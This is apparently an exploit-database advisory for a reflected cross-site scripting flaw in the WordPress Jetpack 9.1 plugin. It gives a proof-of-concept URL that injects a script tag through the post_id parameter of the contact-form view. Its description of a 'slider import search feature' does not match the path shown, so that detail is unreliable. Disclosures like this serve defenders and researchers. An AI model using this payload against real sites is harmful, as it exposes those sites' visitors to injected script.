WordPress Plugin Jetpack 9.1 - Cross Site Scripting (XSS)

# Exploit Title: WordPress Plugin Jetpack 9.1 - Cross Site Scripting (XSS)
# Date: 2022-02-07
# Author: Milad karimi
# Software Link: https://wordpress.org/plugins/jetpack
# Version: 9.1
# Tested on: Windows 11
# CVE: N/A

1. Description:
This plugin creates a Jetpack from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.

2. Proof of Concept:
http://localhost/modules/contact-form/grunion-form-view.php?post_id=<script>alert("BY Ex3ptionaL")</script>